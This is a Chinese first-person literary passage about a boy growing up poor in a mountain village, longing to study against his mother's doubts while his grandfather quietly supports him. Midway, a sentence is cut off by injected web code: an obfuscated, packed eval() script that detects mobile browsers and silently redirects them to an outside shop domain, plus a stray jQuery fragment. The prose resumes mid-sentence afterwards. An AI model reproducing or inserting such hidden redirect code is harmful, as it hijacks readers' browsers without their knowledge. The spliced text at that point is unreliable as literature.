雨季后的五老峰，彻底迈入了闷热冗长的伏天。
群山像一口密闭的大锅，牢牢扣住整座花明村，热风层层叠叠囤积在山谷之间，不散不退。天是沉闷的淡青色，云是凝滞的灰白色，连贯穿山谷的风都带着滚烫的温度。山林草木疯长到极致，浓绿压满山头，看似生机浩荡，却也藏着盛夏独有的滞闷与枯燥。山里的夏天一旦稳住阵势，日子便过得格外规整，日出劳作、日中避暑、日落归闲，日复一日，循环往复，清贫、平淡、漫长，是八十年代初深山村落最真实的人间常态。
经历过连日暴雨的冲刷，梯田里的积水落定，稻禾彻底扎稳了根系，一寸寸向上拔节生长。田地里的农活不再是抢时插秧、修埂疏渠的紧迫忙碌，变成了缓慢细碎的日常管护。每日除草、看水、扶苗、除虫，活儿琐碎不费力，却耗人时辰，农人整日泡在田埂地头，守着一方水土，熬着一季收成。对于花明村的家家户户来说，日子从来没有捷径，没有意外之喜，没有轻松顺遂，所有的温饱、所有的生计、所有的来年盼头，全靠双手一点点抠、一点点熬、一点点攒。
我家的日子，和村里所有人家一模一样，清贫寡淡，精打细算，分毫不敢浪费。
木屋是祖辈留下的老房，土墙斑驳脱落，木梁被岁月熏得发黑，屋顶瓦片错落老旧，缝隙里常年长着细碎的青苔与野草。屋内没有像样的家具，一张老旧木桌、几条长凳、一张木板床、一方生火做饭的火塘，便是全部家当。墙面空空荡荡，没有年画、没有装饰，只有经年烟火熏出的暗沉底色，安静诉说着这个家常年的朴素与拮据。
每日的三餐，永远是粗粮稀饭、水煮青菜、腌菜咸菜，经年不变。白米、白面、肉食，是极其奢侈的东西，只有逢年过节、红白喜事，才有机会浅浅尝上一口。平日里一家人最大的奢望，就是每顿能吃饱，不用挨饿，便是最好的光景。母亲掌管着家里所有的柴米油盐，手里的每一分钱都要掰着花、算着用。盐、煤油、针线，这些维持日常生计的必需品，是家里仅有的开销，除此之外，再无多余钱粮，可供半点享乐与奢求。
我自小在这样的日子里长大，早已习惯清贫，习惯将就，习惯没有新衣、没有零食、没有玩具的童年。
可习惯清贫，不代表心底没有向往。
经历过无数个雨天的狼狈、无数次求字典不得的失落，我的心底悄悄生出了一份同龄人没有的沉稳与执拗。村里的孩子大多随遇而安，被大山和贫穷磨得温顺认命，早早接受了这辈子扎根泥土、世代务农的宿命。他们放学放牛割草，闲暇打闹玩耍，从不会思虑未来，从不会执念远方，日子简单直白，无忧无虑。
唯独我，心事重重，执念深深。
白日里跟着大人下地干活，踩着温热的黄泥，望着无尽的青山，心底一遍遍回想山外的世界；夜晚坐在煤油灯下，借着微弱昏黄的灯光，反复抄写学过的汉字，一遍遍默记老师讲过的知识。村里的学堂简陋破败，只有一间土坯教室、几张破旧课桌、一位代课老师，可即便如此，这方小小的天地，已是我挣脱宿命唯一的出路。
母亲依旧无法理解我的执着。
在她的认知里，读书是虚的，种地是实的；认字填不饱肚子，干活才能养活自己。她看着我日日熬夜写字、日日趴在窗边偷听讲课、日日对着远山发呆出神，时常忍不住劝我，不如多干点农活，多割点猪草，多为家里分担压力。她常常叹息，山里的娃命定在土，飞不出大山，何必白费力气，痴心妄想那些不属于自己的东西。
我从不反驳她的话，只是默默低头，继续做自己的事。
我知道她没有错。她见过太多读了几年书依旧回家种地的年轻人，见过太多不甘远方最终认命归田的山里人。大山的壁垒，贫穷的枷锁，困住了无数人的人生，所有人的结局，似乎从出生那一刻就早已注定。可我不甘心，我不愿顺着宿命随波逐流，不愿一辈子困在这方狭小的山坳，重复祖辈辛劳清贫、一眼到头的一生。
整个盛夏，我过得安静又克制。
不再随意跟同伴追逐打闹，不再肆意挥霍时光。清晨天亮即起，放牛、割草、做家务；午后避开烈日，躲在屋内认字读书；傍晚目送落日归山，静坐田埂发呆遐想。我的童年依旧沾满黄泥、浸满草木气息，却比旁人多了一份隐秘的坚守。
爷爷始终沉默，却悄悄看懂了我的心事。
他一辈子寡言少语，不善言辞，不会讲大道理，不会温柔宽慰，一辈子只懂耕田劳作、默默养家。可他活了大半辈子，见过山人的苦，见过贫穷的难，见过认命的无奈，也悄悄窥见了我心底那点不服输的滚烫念想。他从不劝我放弃读书，从不告诉我命定山野，只是在细微之处，悄悄偏爱、悄悄成全。
我深夜读书，他会默默往煤油灯里添一点煤油，让灯光亮得久一点；我下地劳作疲惫走神，他从不催促，任由我静坐田边放空；我因为没有字典、无人解惑暗自烦闷，他看在眼里，记在心里，只是从不说出口。
我渐渐发现，爷爷的爱，从不是言语，是沉默的兜底，是清贫日子里无声的成全。
村里的清贫，是蔓延在每一户人家、每一寸土地上的常态。
左右邻里，家家相似，户户拮据。谁家孩子衣服打满补丁，谁家米面即将吃空，谁家需要借钱买盐，谁家收成不好日子艰难，是山村最寻常的闲谈话题。没有人嘲笑贫穷，因为人人皆穷；没有人奢求
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17703106|208252||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
富贵，因为人人都在苦苦熬日子。大家相互帮衬、相互体谅、相互取暖，在闭塞贫瘠的大山里，靠着淳朴的乡情，艰难维系着岁岁年年的平淡生活。
狗蛋依旧是那副天真烂漫、随性知足的模样。
他依旧不爱读书，觉得课堂枯燥拘束，每日最开心的事，就是放牛爬山、下河摸鱼、山野疯闹。他常常拉着我出去玩，告诉我人生在世，舒服自在最重要，想太多、盼太远，都是自寻烦恼。他活得通透简单，适配大山的生活，也注定扎根大山的宿命。
我羡慕他的无忧无虑，却终究活不成他的模样。
我的心里装着一本求而不得的字典，装着一双遥不可及的雨靴，装着一场照亮前路的露天电影，装着一个少年不甘认命的远方。这些细碎的念想，像一粒粒种子，落在心底，生根发芽，悄悄支撑着我熬过漫长清贫、枯燥重复的童年岁月。
盛夏的白日格外漫长，天光从清晨亮到傍晚，十余个时辰的光景，足够看尽山野四时的细碎变化。清晨薄雾袅袅，草木含露；日头高悬，蝉鸣震谷；晚风轻拂，稻禾飘香；暮色沉降，炊烟四起。日子慢得像山涧流淌的溪水，不急不躁，缓缓向前，带走年少时光，沉淀心底执念。
无数个安静的黄昏，我独自坐在家门口的青石上，望着层层叠叠的青山，望着蜿蜒无尽的田埂，望着袅袅升起的炊烟，心底无比清晰。我热爱这片养育我的土地，热爱山野的风、田埂的泥、山村的烟火、四时的风月。这片清贫的大山，给了我最纯粹的童年，最自由的时光，最质朴的温柔。
可热爱不代表沉沦，感恩不代表认命。
我眷恋故土，却更想走出故土；我感念大山养育，却更想打破大山的禁锢。我想靠读书改写命运，想靠努力摆脱清贫，想让往后的人生，不再被几块钱的物件困住期盼，不再被泥泞山路困住脚步，不再被贫穷和闭塞困住眼界。
夜色慢慢笼罩山谷，木屋的煤油灯次第亮起，微弱的灯光在漆黑的山野里格外温柔。母亲在灶台边收拾晚饭，柴火噼啪轻响；爷爷坐在火塘边，静静抽着旱烟，烟雾袅袅散开；屋外虫鸣阵阵，晚风簌簌，山村归于安稳静谧。
清贫的日子依旧在缓缓流淌，平淡、漫长、朴素、艰辛。
没有突如其来的幸运，没有一蹴而就的改变，只有日复一日的坚持，年复一年的期盼。可我心底的光，从未熄灭。我知道，所有的蛰伏、所有的隐忍、所有的坚守、所有的不甘，终有一天，会成为我走出大山、奔赴远方的底气。
漫长清贫的岁月磨得慢、熬得久，却一点点淬炼了我的心性，让我在无人理解的年少时光里，独自扎根、独自生长、独自蓄力，静待花开，静待远方。